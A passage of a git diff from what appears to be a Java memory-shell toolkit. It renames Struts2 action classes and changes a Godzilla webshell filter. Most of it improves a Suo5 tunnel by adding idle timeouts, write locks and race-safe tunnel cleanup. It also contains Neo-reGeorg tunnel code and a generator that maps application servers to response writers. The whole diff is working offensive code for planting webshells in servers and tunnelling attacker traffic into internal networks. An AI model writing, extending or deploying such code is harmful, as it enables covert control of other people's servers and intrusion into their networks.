||||||
byte[] data = base64Decode(map.getFirst(pass));
|
byte[] data = base64Decode(map.getFirst(pass));
|
||||||
@@ -55,9 +63,7 @@ public class GodzillaHandlerMethod extends ClassLoader {
|
|||||||
ex.printStackTrace();
|
ex.printStackTrace();
|
||||||
result.append(getErrorMessage(ex));
|
result.append(getErrorMessage(ex));
|
||||||
}
|
}
|
||||||
return Mono.just(result.toString());
|
return result.toString();
|
||||||
});
|
|
||||||
return ResponseEntity.ok(bufferStream);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+1
-1
@@ -15,7 +15,7 @@ import java.net.URLClassLoader;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/15
|
* @since 2024/12/15
|
||||||
*/
|
*/
|
||||||
public class GodzillaStruct2Action {
|
public class GodzillaStruts2Action {
|
||||||
private static String key;
|
private static String key;
|
||||||
private static String pass;
|
private static String pass;
|
||||||
private static String md5;
|
private static String md5;
|
||||||
+8
-7
@@ -1,12 +1,12 @@
|
|||||||
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
||||||
|
|
||||||
import org.springframework.core.io.buffer.DataBuffer;
|
|
||||||
import org.springframework.core.io.buffer.DefaultDataBufferFactory;
|
import org.springframework.core.io.buffer.DefaultDataBufferFactory;
|
||||||
import org.springframework.util.MultiValueMap;
|
import org.springframework.util.MultiValueMap;
|
||||||
import org.springframework.web.server.ServerWebExchange;
|
import org.springframework.web.server.ServerWebExchange;
|
||||||
import org.springframework.web.server.WebFilter;
|
import org.springframework.web.server.WebFilter;
|
||||||
import org.springframework.web.server.WebFilterChain;
|
import org.springframework.web.server.WebFilterChain;
|
||||||
import reactor.core.publisher.Mono;
|
import reactor.core.publisher.Mono;
|
||||||
|
import reactor.core.scheduler.Schedulers;
|
||||||
|
|
||||||
import javax.crypto.Cipher;
|
import javax.crypto.Cipher;
|
||||||
import javax.crypto.spec.SecretKeySpec;
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
@@ -39,12 +39,14 @@ public class GodzillaWebFilter extends ClassLoader implements WebFilter {
|
|||||||
if (value == null || !value.contains(headerValue)) {
|
if (value == null || !value.contains(headerValue)) {
|
||||||
return chain.filter(exchange);
|
return chain.filter(exchange);
|
||||||
}
|
}
|
||||||
return exchange.getResponse().writeWith(getPost(exchange));
|
return exchange.getFormData()
|
||||||
|
.flatMap(map -> Mono.fromCallable(() -> process(map, exchange))
|
||||||
|
.subscribeOn(Schedulers.boundedElastic()))
|
||||||
|
.flatMap(bytes -> exchange.getResponse().writeWith(
|
||||||
|
Mono.just(new DefaultDataBufferFactory().wrap(bytes))));
|
||||||
}
|
}
|
||||||
|
|
||||||
private Mono<DataBuffer> getPost(ServerWebExchange exchange) {
|
private byte[] process(MultiValueMap<String, String> map, ServerWebExchange exchange) {
|
||||||
Mono<MultiValueMap<String, String>> formData = exchange.getFormData();
|
|
||||||
return formData.flatMap(map -> {
|
|
||||||
StringBuilder result = new StringBuilder();
|
StringBuilder result = new StringBuilder();
|
||||||
try {
|
try {
|
||||||
byte[] data = base64Decode(map.getFirst(pass));
|
byte[] data = base64Decode(map.getFirst(pass));
|
||||||
@@ -66,8 +68,7 @@ public class GodzillaWebFilter extends ClassLoader implements WebFilter {
|
|||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
result.append(getErrorMessage(e));
|
result.append(getErrorMessage(e));
|
||||||
}
|
}
|
||||||
return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8)));
|
return result.toString().getBytes(StandardCharsets.UTF_8);
|
||||||
});
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+1
-1
@@ -18,7 +18,7 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* <p>
|
* <p>
|
||||||
* key: key
|
* key: key
|
||||||
*/
|
*/
|
||||||
public class NeoreGeorgStruct2Action {
|
public class NeoreGeorgStruts2Action {
|
||||||
public static String headerName;
|
public static String headerName;
|
||||||
public static String headerValue;
|
public static String headerValue;
|
||||||
|
|
||||||
+4
-4
@@ -16,7 +16,7 @@ import java.util.HashMap;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/15
|
* @since 2024/12/15
|
||||||
*/
|
*/
|
||||||
public class Suo5Struct2Action implements Runnable, HostnameVerifier, X509TrustManager {
|
public class Suo5Struts2Action implements Runnable, HostnameVerifier, X509TrustManager {
|
||||||
public static String headerName;
|
public static String headerName;
|
||||||
public static String headerValue;
|
public static String headerValue;
|
||||||
public static HashMap addrs = collectAddr();
|
public static HashMap addrs = collectAddr();
|
||||||
@@ -25,10 +25,10 @@ public class Suo5Struct2Action implements Runnable, HostnameVerifier, X509TrustM
|
|||||||
InputStream gInStream;
|
InputStream gInStream;
|
||||||
OutputStream gOutStream;
|
OutputStream gOutStream;
|
||||||
|
|
||||||
public Suo5Struct2Action() {
|
public Suo5Struts2Action() {
|
||||||
}
|
}
|
||||||
|
|
||||||
public Suo5Struct2Action(InputStream in, OutputStream out) {
|
public Suo5Struts2Action(InputStream in, OutputStream out) {
|
||||||
this.gInStream = in;
|
this.gInStream = in;
|
||||||
this.gOutStream = out;
|
this.gOutStream = out;
|
||||||
}
|
}
|
||||||
@@ -268,7 +268,7 @@ public class Suo5Struct2Action implements Runnable, HostnameVerifier, X509TrustM
|
|||||||
|
|
||||||
Thread t = null;
|
Thread t = null;
|
||||||
try {
|
try {
|
||||||
Suo5Struct2Action p = new Suo5Struct2Action(scInStream, respOutStream);
|
Suo5Struts2Action p = new Suo5Struts2Action(scInStream, respOutStream);
|
||||||
t = new Thread(p);
|
t = new Thread(p);
|
||||||
t.start();
|
t.start();
|
||||||
readReq(reqInputStream, scOutStream);
|
readReq(reqInputStream, scOutStream);
|
||||||
+129
-19
@@ -8,6 +8,7 @@ import java.nio.ByteBuffer;
|
|||||||
import java.nio.channels.SocketChannel;
|
import java.nio.channels.SocketChannel;
|
||||||
import java.security.cert.CertificateException;
|
import java.security.cert.CertificateException;
|
||||||
import java.security.cert.X509Certificate;
|
import java.security.cert.X509Certificate;
|
||||||
|
import java.util.Date;
|
||||||
import java.util.Enumeration;
|
import java.util.Enumeration;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Hashtable;
|
import java.util.Hashtable;
|
||||||
@@ -30,19 +31,26 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789";
|
private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789";
|
||||||
private final int CHARACTERS_LENGTH = CHARACTERS.length();
|
private final int CHARACTERS_LENGTH = CHARACTERS.length();
|
||||||
private final int BUF_SIZE = 1024 * 16;
|
private final int BUF_SIZE = 1024 * 16;
|
||||||
|
private final long TUNNEL_IDLE_TIMEOUT_MILLIS = 300L * 1000L;
|
||||||
|
|
||||||
private InputStream gInStream;
|
private InputStream gInStream;
|
||||||
private OutputStream gOutStream;
|
private OutputStream gOutStream;
|
||||||
private String gtunId;
|
private String gtunId;
|
||||||
private int mode = 0;
|
private int mode = 0;
|
||||||
|
private Object gWriteLock;
|
||||||
|
|
||||||
public Suo5v2() {
|
public Suo5v2() {
|
||||||
}
|
}
|
||||||
|
|
||||||
public Suo5v2(InputStream in, OutputStream out, String tunId) {
|
public Suo5v2(InputStream in, OutputStream out, String tunId) {
|
||||||
|
this(in, out, tunId, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Suo5v2(InputStream in, OutputStream out, String tunId, Object writeLock) {
|
||||||
this.gInStream = in;
|
this.gInStream = in;
|
||||||
this.gOutStream = out;
|
this.gOutStream = out;
|
||||||
this.gtunId = tunId;
|
this.gtunId = tunId;
|
||||||
|
this.gWriteLock = writeLock;
|
||||||
}
|
}
|
||||||
|
|
||||||
public Suo5v2(String tunId, int mode) {
|
public Suo5v2(String tunId, int mode) {
|
||||||
@@ -250,7 +258,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
conn = redirect(req, new String(redirectData), newBody);
|
conn = redirect(req, new String(redirectData), newBody);
|
||||||
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(conn.getResponseCode())});
|
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(conn.getResponseCode())});
|
||||||
OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
||||||
pipeStream(conn.getInputStream(), out, resp, false);
|
pipeStream(conn.getInputStream(), out, resp, false, null);
|
||||||
} finally {
|
} finally {
|
||||||
if (conn != null) {
|
if (conn != null) {
|
||||||
conn.disconnect();
|
conn.disconnect();
|
||||||
@@ -336,7 +344,6 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
socket.connect(new InetSocketAddress(host, port), 5000);
|
socket.connect(new InetSocketAddress(host, port), 5000);
|
||||||
writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0);
|
writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0);
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace();
|
|
||||||
if (socket != null) {
|
if (socket != null) {
|
||||||
socket.close();
|
socket.close();
|
||||||
}
|
}
|
||||||
@@ -350,8 +357,9 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
final OutputStream scOutStream = socket.getOutputStream();
|
final OutputStream scOutStream = socket.getOutputStream();
|
||||||
final InputStream scInStream = socket.getInputStream();
|
final InputStream scInStream = socket.getInputStream();
|
||||||
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
||||||
|
final Object responseWriteLock = new Object();
|
||||||
try {
|
try {
|
||||||
Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId);
|
Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId, responseWriteLock);
|
||||||
t = new Thread(p);
|
t = new Thread(p);
|
||||||
t.start();
|
t.start();
|
||||||
|
|
||||||
@@ -374,7 +382,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
case 0x10:
|
case 0x10:
|
||||||
writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0);
|
writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0, responseWriteLock);
|
||||||
break;
|
break;
|
||||||
default:
|
default:
|
||||||
}
|
}
|
||||||
@@ -388,7 +396,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (sendClose) {
|
if (sendClose) {
|
||||||
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
|
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0, responseWriteLock);
|
||||||
}
|
}
|
||||||
if (t != null) {
|
if (t != null) {
|
||||||
t.join();
|
t.join();
|
||||||
@@ -482,10 +490,24 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
}
|
}
|
||||||
|
|
||||||
private void writeAndFlush(Object resp, byte[] data, int dirtySize) throws Exception {
|
private void writeAndFlush(Object resp, byte[] data, int dirtySize) throws Exception {
|
||||||
|
writeAndFlush(resp, data, dirtySize, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void writeAndFlush(Object resp, byte[] data, int dirtySize, Object writeLock) throws Exception {
|
||||||
if (data == null || data.length == 0) {
|
if (data == null || data.length == 0) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
||||||
|
if (writeLock == null) {
|
||||||
|
writeResponseData(resp, out, data, dirtySize);
|
||||||
|
} else {
|
||||||
|
synchronized (writeLock) {
|
||||||
|
writeResponseData(resp, out, data, dirtySize);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void writeResponseData(Object resp, OutputStream out, byte[] data, int dirtySize) throws Exception {
|
||||||
out.write(data);
|
out.write(data);
|
||||||
if (dirtySize != 0) {
|
if (dirtySize != 0) {
|
||||||
out.write(marshalBase64(newDirtyChunk(dirtySize)));
|
out.write(marshalBase64(newDirtyChunk(dirtySize)));
|
||||||
@@ -504,6 +526,12 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||||
SocketChannel socketChannel = null;
|
SocketChannel socketChannel = null;
|
||||||
HashMap resultData = null;
|
HashMap resultData = null;
|
||||||
|
Object[] existing = (Object[]) getKey(tunId);
|
||||||
|
if (existing != null) {
|
||||||
|
touchTunnel(existing);
|
||||||
|
baos.write(marshalBase64(newStatus(tunId, (byte) 0x00)));
|
||||||
|
return baos.toByteArray();
|
||||||
|
}
|
||||||
try {
|
try {
|
||||||
socketChannel = SocketChannel.open();
|
socketChannel = SocketChannel.open();
|
||||||
socketChannel.socket().setTcpNoDelay(true);
|
socketChannel.socket().setTcpNoDelay(true);
|
||||||
@@ -514,8 +542,19 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
resultData = newStatus(tunId, (byte) 0x00);
|
resultData = newStatus(tunId, (byte) 0x00);
|
||||||
BlockingQueue<byte[]> readQueue = new LinkedBlockingQueue<byte[]>(100);
|
BlockingQueue<byte[]> readQueue = new LinkedBlockingQueue<byte[]>(100);
|
||||||
BlockingQueue<byte[]> writeQueue = new LinkedBlockingQueue<byte[]>();
|
BlockingQueue<byte[]> writeQueue = new LinkedBlockingQueue<byte[]>();
|
||||||
putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue});
|
Object[] newTunnel = new Object[]{socketChannel, readQueue, writeQueue, new long[]{new Date().getTime()}};
|
||||||
if (newThread) {
|
boolean installed = false;
|
||||||
|
synchronized (ctx) {
|
||||||
|
existing = (Object[]) ctx.get(tunId);
|
||||||
|
if (existing == null) {
|
||||||
|
ctx.put(tunId, newTunnel);
|
||||||
|
installed = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!installed) {
|
||||||
|
socketChannel.close();
|
||||||
|
touchTunnel(existing);
|
||||||
|
} else if (newThread) {
|
||||||
new Thread(new Suo5v2(tunId, 1)).start();
|
new Thread(new Suo5v2(tunId, 1)).start();
|
||||||
new Thread(new Suo5v2(tunId, 2)).start();
|
new Thread(new Suo5v2(tunId, 2)).start();
|
||||||
}
|
}
|
||||||
@@ -538,8 +577,10 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
if (objs == null) {
|
if (objs == null) {
|
||||||
throw new IOException("tunnel not found");
|
throw new IOException("tunnel not found");
|
||||||
}
|
}
|
||||||
|
touchTunnel(objs);
|
||||||
SocketChannel sc = (SocketChannel) objs[0];
|
SocketChannel sc = (SocketChannel) objs[0];
|
||||||
if (!sc.isOpen()) {
|
if (!sc.isOpen()) {
|
||||||
|
// socket already closed, return silently and let performRead handle it
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -562,6 +603,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
if (objs == null) {
|
if (objs == null) {
|
||||||
throw new IOException("tunnel not found");
|
throw new IOException("tunnel not found");
|
||||||
}
|
}
|
||||||
|
touchTunnel(objs);
|
||||||
SocketChannel sc = (SocketChannel) objs[0];
|
SocketChannel sc = (SocketChannel) objs[0];
|
||||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||||
BlockingQueue<byte[]> readQueue = (BlockingQueue<byte[]>) objs[1];
|
BlockingQueue<byte[]> readQueue = (BlockingQueue<byte[]>) objs[1];
|
||||||
@@ -589,7 +631,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
private void performDelete(String tunId) {
|
private void performDelete(String tunId) {
|
||||||
Object[] objs = (Object[]) getKey(tunId);
|
Object[] objs = (Object[]) getKey(tunId);
|
||||||
if (objs != null) {
|
if (objs != null) {
|
||||||
removeKey(tunId);
|
removeKeyIfSame(tunId, objs);
|
||||||
SocketChannel sc = (SocketChannel) objs[0];
|
SocketChannel sc = (SocketChannel) objs[0];
|
||||||
BlockingQueue<byte[]> writeQueue = (BlockingQueue<byte[]>) objs[2];
|
BlockingQueue<byte[]> writeQueue = (BlockingQueue<byte[]>) objs[2];
|
||||||
try {
|
try {
|
||||||
@@ -611,7 +653,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
return port;
|
return port;
|
||||||
}
|
}
|
||||||
|
|
||||||
private void pipeStream(InputStream inputStream, OutputStream outputStream, Object resp, boolean needMarshal) throws Exception {
|
private void pipeStream(InputStream inputStream, OutputStream outputStream, Object resp, boolean needMarshal, Object writeLock) throws Exception {
|
||||||
try {
|
try {
|
||||||
byte[] readBuf = new byte[1024 * 8];
|
byte[] readBuf = new byte[1024 * 8];
|
||||||
while (true) {
|
while (true) {
|
||||||
@@ -623,10 +665,12 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
if (needMarshal) {
|
if (needMarshal) {
|
||||||
dataTmp = marshalBase64(newData(this.gtunId, dataTmp));
|
dataTmp = marshalBase64(newData(this.gtunId, dataTmp));
|
||||||
}
|
}
|
||||||
outputStream.write(dataTmp);
|
if (writeLock == null) {
|
||||||
outputStream.flush();
|
writePipeData(outputStream, resp, dataTmp);
|
||||||
if (resp != null) {
|
} else {
|
||||||
resp.getClass().getMethod("flushBuffer").invoke(resp);
|
synchronized (writeLock) {
|
||||||
|
writePipeData(outputStream, resp, dataTmp);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} finally {
|
} finally {
|
||||||
@@ -640,6 +684,14 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private void writePipeData(OutputStream outputStream, Object resp, byte[] data) throws Exception {
|
||||||
|
outputStream.write(data);
|
||||||
|
outputStream.flush();
|
||||||
|
if (resp != null) {
|
||||||
|
resp.getClass().getMethod("flushBuffer").invoke(resp);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException {
|
private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException {
|
||||||
buffer.clear();
|
buffer.clear();
|
||||||
int bytesRead = socketChannel.read(buffer);
|
int bytesRead = socketChannel.read(buffer);
|
||||||
@@ -830,6 +882,47 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
ctx.remove(k);
|
ctx.remove(k);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private boolean removeKeyIfSame(String k, Object expected) {
|
||||||
|
synchronized (ctx) {
|
||||||
|
if (ctx.get(k) == expected) {
|
||||||
|
ctx.remove(k);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void touchTunnel(Object[] objs) {
|
||||||
|
if (objs == null || objs.length < 4 || !(objs[3] instanceof long[])) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
long[] activity = (long[]) objs[3];
|
||||||
|
synchronized (activity) {
|
||||||
|
activity[0] = new Date().getTime();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private long getTunnelIdleMillis(Object[] objs) {
|
||||||
|
if (objs == null || objs.length < 4 || !(objs[3] instanceof long[])) {
|
||||||
|
return Long.MAX_VALUE;
|
||||||
|
}
|
||||||
|
long[] activity = (long[]) objs[3];
|
||||||
|
synchronized (activity) {
|
||||||
|
return new Date().getTime() - activity[0];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean waitForTunnelCleanup(Object[] objs, BlockingQueue<byte[]> writeQueue) throws InterruptedException {
|
||||||
|
while (getKey(this.gtunId) == objs) {
|
||||||
|
long remaining = TUNNEL_IDLE_TIMEOUT_MILLIS - getTunnelIdleMillis(objs);
|
||||||
|
if (remaining <= 0) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
writeQueue.poll(remaining, TimeUnit.MILLISECONDS);
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
private byte[] copyOfRange(byte[] original, int from, int to) {
|
private byte[] copyOfRange(byte[] original, int from, int to) {
|
||||||
int newLength = to - from;
|
int newLength = to - from;
|
||||||
if (newLength < 0) {
|
if (newLength < 0) {
|
||||||
@@ -1035,14 +1128,26 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
// full stream
|
// full stream
|
||||||
if (this.mode == 0) {
|
if (this.mode == 0) {
|
||||||
try {
|
try {
|
||||||
pipeStream(gInStream, gOutStream, null, true);
|
pipeStream(gInStream, gOutStream, null, true, gWriteLock);
|
||||||
} catch (Exception ignore) {
|
} catch (Exception ignore) {
|
||||||
|
} finally {
|
||||||
|
try {
|
||||||
|
byte[] closeData = marshalBase64(newDel(this.gtunId));
|
||||||
|
if (gWriteLock == null) {
|
||||||
|
writePipeData(gOutStream, null, closeData);
|
||||||
|
} else {
|
||||||
|
synchronized (gWriteLock) {
|
||||||
|
writePipeData(gOutStream, null, closeData);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception ignore) {
|
||||||
|
}
|
||||||
}
|
}
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
Object[] objs = (Object[]) getKey(this.gtunId);
|
Object[] objs = (Object[]) getKey(this.gtunId);
|
||||||
if (objs == null || objs.length != 3) {
|
if (objs == null || objs.length < 3) {
|
||||||
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -1060,6 +1165,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
if (data.length == 0) {
|
if (data.length == 0) {
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
touchTunnel(objs);
|
||||||
if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) {
|
if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) {
|
||||||
selfClean = true;
|
selfClean = true;
|
||||||
break;
|
break;
|
||||||
@@ -1070,12 +1176,16 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
while (true) {
|
while (true) {
|
||||||
byte[] data = writeQueue.poll(300, TimeUnit.SECONDS);
|
byte[] data = writeQueue.poll(300, TimeUnit.SECONDS);
|
||||||
if (data == null) {
|
if (data == null) {
|
||||||
|
if (getTunnelIdleMillis(objs) >= TUNNEL_IDLE_TIMEOUT_MILLIS) {
|
||||||
selfClean = true;
|
selfClean = true;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
continue;
|
||||||
|
}
|
||||||
if (data.length == 0) {
|
if (data.length == 0) {
|
||||||
byte[] signal = writeQueue.poll(10, TimeUnit.SECONDS);
|
// EOF keeps pending data available while the client is actively draining it.
|
||||||
if (signal == null) {
|
// An abandoned EOF tunnel is removed after the normal idle timeout.
|
||||||
|
if (getKey(this.gtunId) == objs && !waitForTunnelCleanup(objs, writeQueue)) {
|
||||||
selfClean = true;
|
selfClean = true;
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
@@ -1089,10 +1199,10 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
} finally {
|
} finally {
|
||||||
if (selfClean) {
|
if (selfClean) {
|
||||||
|
if (removeKeyIfSame(this.gtunId, objs)) {
|
||||||
removeKey(this.gtunId);
|
|
||||||
readQueue.clear();
|
readQueue.clear();
|
||||||
}
|
}
|
||||||
|
}
|
||||||
writeQueue.clear();
|
writeQueue.clear();
|
||||||
try {
|
try {
|
||||||
writeQueue.put(new byte[0]);
|
writeQueue.put(new byte[0]);
|
||||||
|
|||||||
+2
-2
@@ -14,11 +14,11 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/12/9
|
* @since 2025/12/9
|
||||||
*/
|
*/
|
||||||
public class Suo5v2Struct2Action {
|
public class Suo5v2Struts2Action {
|
||||||
private static Class<?> suo5V2Class;
|
private static Class<?> suo5V2Class;
|
||||||
private static String suo5V2GZipBase64;
|
private static String suo5V2GZipBase64;
|
||||||
|
|
||||||
public Suo5v2Struct2Action() {
|
public Suo5v2Struts2Action() {
|
||||||
}
|
}
|
||||||
|
|
||||||
public void execute() throws Exception {
|
public void execute() throws Exception {
|
||||||
+65
-42
@@ -23,6 +23,10 @@ import org.apache.commons.lang3.StringUtils;
|
|||||||
import java.lang.annotation.Retention;
|
import java.lang.annotation.Retention;
|
||||||
import java.lang.annotation.RetentionPolicy;
|
import java.lang.annotation.RetentionPolicy;
|
||||||
import java.nio.charset.Charset;
|
import java.nio.charset.Charset;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.LinkedHashMap;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
import static java.nio.charset.StandardCharsets.UTF_8;
|
import static java.nio.charset.StandardCharsets.UTF_8;
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
@@ -32,10 +36,16 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
|||||||
* @since 2025/6/29
|
* @since 2025/6/29
|
||||||
*/
|
*/
|
||||||
public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyConfig> {
|
public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyConfig> {
|
||||||
|
private static final Map<String, Class<?>> WRITER_CLASSES = createWriterClasses();
|
||||||
|
|
||||||
public ResponseBodyGenerator(ProbeConfig probeConfig, ResponseBodyConfig probeContentConfig) {
|
public ResponseBodyGenerator(ProbeConfig probeConfig, ResponseBodyConfig probeContentConfig) {
|
||||||
super(probeConfig, probeContentConfig);
|
super(probeConfig, probeContentConfig);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static List<String> getSupportedServers() {
|
||||||
|
return new ArrayList<>(WRITER_CLASSES.keySet());
|
||||||
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected DynamicType.Builder<?> build(ByteBuddy buddy) {
|
protected DynamicType.Builder<?> build(ByteBuddy buddy) {
|
||||||
Class<?> getDataFromReqInterceptor = getDataFromReqInterceptor.class;
|
Class<?> getDataFromReqInterceptor = getDataFromReqInterceptor.class;
|
||||||
@@ -82,35 +92,32 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
|||||||
}
|
}
|
||||||
|
|
||||||
private Class<?> getWriterClass() {
|
private Class<?> getWriterClass() {
|
||||||
switch (probeContentConfig.getServer()) {
|
Class<?> writerClass = WRITER_CLASSES.get(probeContentConfig.getServer());
|
||||||
case Server.SpringWebMvc:
|
if (writerClass == null) {
|
||||||
return SpringWebMvcWriter.class;
|
|
||||||
case Server.Jetty:
|
|
||||||
return JettyWriter.class;
|
|
||||||
case Server.Tomcat:
|
|
||||||
case Server.JBoss:
|
|
||||||
case Server.BES:
|
|
||||||
return TomcatWriter.class;
|
|
||||||
case Server.TongWeb:
|
|
||||||
return TongWebWriter.class;
|
|
||||||
case Server.Resin:
|
|
||||||
return ResinWriter.class;
|
|
||||||
case Server.Undertow:
|
|
||||||
return UndertowWriter.class;
|
|
||||||
case Server.GlassFish:
|
|
||||||
case Server.InforSuite:
|
|
||||||
return GlassFishWriter.class;
|
|
||||||
case Server.WebSphere:
|
|
||||||
return WebSphereWriter.class;
|
|
||||||
case Server.WebLogic:
|
|
||||||
return WebLogicWriter.class;
|
|
||||||
case Server.Apusic:
|
|
||||||
return ApusicWriter.class;
|
|
||||||
case Server.Struct2:
|
|
||||||
return Struct2Writer.class;
|
|
||||||
default:
|
|
||||||
throw new GenerationException("responseBody not supported for server: " + probeContentConfig.getServer());
|
throw new GenerationException("responseBody not supported for server: " + probeContentConfig.getServer());
|
||||||
}
|
}
|
||||||
|
return writerClass;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Map<String, Class<?>> createWriterClasses() {
|
||||||
|
Map<String, Class<?>> writerClasses = new LinkedHashMap<>();
|
||||||
|
writerClasses.put(Server.Tomcat, TomcatWriter.class);
|
||||||
|
writerClasses.put(Server.Jetty, JettyWriter.class);
|
||||||
|
writerClasses.put(Server.Jetty5, JettyWriter.class);
|
||||||
|
writerClasses.put(Server.Undertow, UndertowWriter.class);
|
||||||
|
writerClasses.put(Server.JBoss, TomcatWriter.class);
|
||||||
|
writerClasses.put(Server.Resin, ResinWriter.class);
|
||||||
|
writerClasses.put(Server.Resin2, Resin2Writer.class);
|
||||||
|
writerClasses.put(Server.WebLogic, WebLogicWriter.class);
|
||||||
|
